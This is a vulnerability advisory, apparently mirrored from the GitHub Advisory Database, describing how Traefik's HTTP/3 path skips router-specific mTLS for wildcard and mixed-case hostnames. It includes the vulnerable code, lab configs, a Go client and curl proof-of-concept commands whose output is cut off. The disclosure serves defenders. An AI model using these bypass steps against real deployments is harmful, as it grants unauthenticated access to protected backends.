Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts
- When
- Where
- Global (internet)
- Category
- cyber_advisory · go
## Summary There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., `*.example.com`) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard `Host` rule or case-insensitive hostname matching, a router-specific `TLSOptions` enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.3 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary Traefik's HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`. This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed: 1. `Host("*.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one. 2. `Host("api.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one. Confirmed versions: - wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1` - exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1` ### Details HTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`: ```go h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(*http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient}, } ``` The callback is wired to the TCP router's TLS selector: ```go func (e *http3server) Switch(rt *tcprouter.Router) { e.lock.Lock() defer e.lock.Unlock() e.getter = rt.GetTLSGetClientInfo() } ``` The selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup: ```go func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) { return func(info *tls.ClientHelloInfo) (*tls.Config, error) { if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok { return tlsConfig, nil } return r.httpsTLSConfig, nil } } ``` That creates two mismatches: - wildcard keys such as `*.example.com` are never matched for `api.example.com` - lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM` On the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend. Preconditions: - HTTP/3 is enabled on the affected entrypoint. - A router-specific `TLSOptions` configuration enforces client certificate authentication. - The default/fallback TLS configuration does not require client certificates. - UDP access to the HTTP/3 entrypoint is reachable by the attacker. Minimal wildcard dynamic configuration: ```yaml http: routers: protected: rule: Host(`*.example.com`) service: protected tls: options: mtls services: protected: loadBalancer: servers: - url: http://protected:80 tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert ``` Minimal exact-host dynamic configuration: ```yaml http: routers: protected: rule: Host(`api.example.com`) service: protected tls: options: mtls services: protected: loadBalancer: servers: - url: http://protected:80 tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert ``` Minimal Docker Compose: ```yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --entrypoints.websecure.http3 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443/tcp" - "8443:8443/udp" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro depends_on: - protected protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED ``` Certificate generation: ```bash rm -rf certs mkdir -p certs openssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj "/CN=traefik-poc-ca" openssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj "/CN=api.example.com" -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com" openssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copy_extensions copyall ``` The mixed-case HTTP/3 client used for the exact-host case: ```go package main import ( "crypto/tls" "fmt" "io" "net/http" "os" "time" "github.com/quic-go/quic-go/http3" ) func main() { serverName := os.Getenv("TLS_SERVER_NAME") if serverName == "" { serverName = "API.EXAMPLE.COM" } host := os.Getenv("HTTP_HOST") if host == "" { host = "API.EXAMPLE.COM" } tr := &http3.Transport{ TLSClientConfig: &tls.Config{ ServerName: serverName, InsecureSkipVerify: true, }, } defer tr.Close() client := &http.Client{Transport: tr, Timeout: 8 * time.Second} req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil) if err != nil { panic(err) } req.Host = host resp, err := client.Do(req) if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } defer resp.Body.Close() fmt.Println(resp.Proto, resp.StatusCode) body, _ := io.ReadAll(resp.Body) fmt.Print(string(body)) } ``` ### PoC Wildcard bypass: 1. Start Traefik with the wildcard dynamic configuration above. 2. Control over TCP/TLS: ```bash curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/ ``` Observed result: ```text TLS alert ... certificate required ``` 3. HTTP/3 bypass: ```bash curl --noproxy '*' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/ ``` Observed result: ```text HTTP/3 200 Name: PROTEC
Sources
- GitHub Advisory Database ↗ · first seen 2026-06-16 21:04 UTC
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Correlated events
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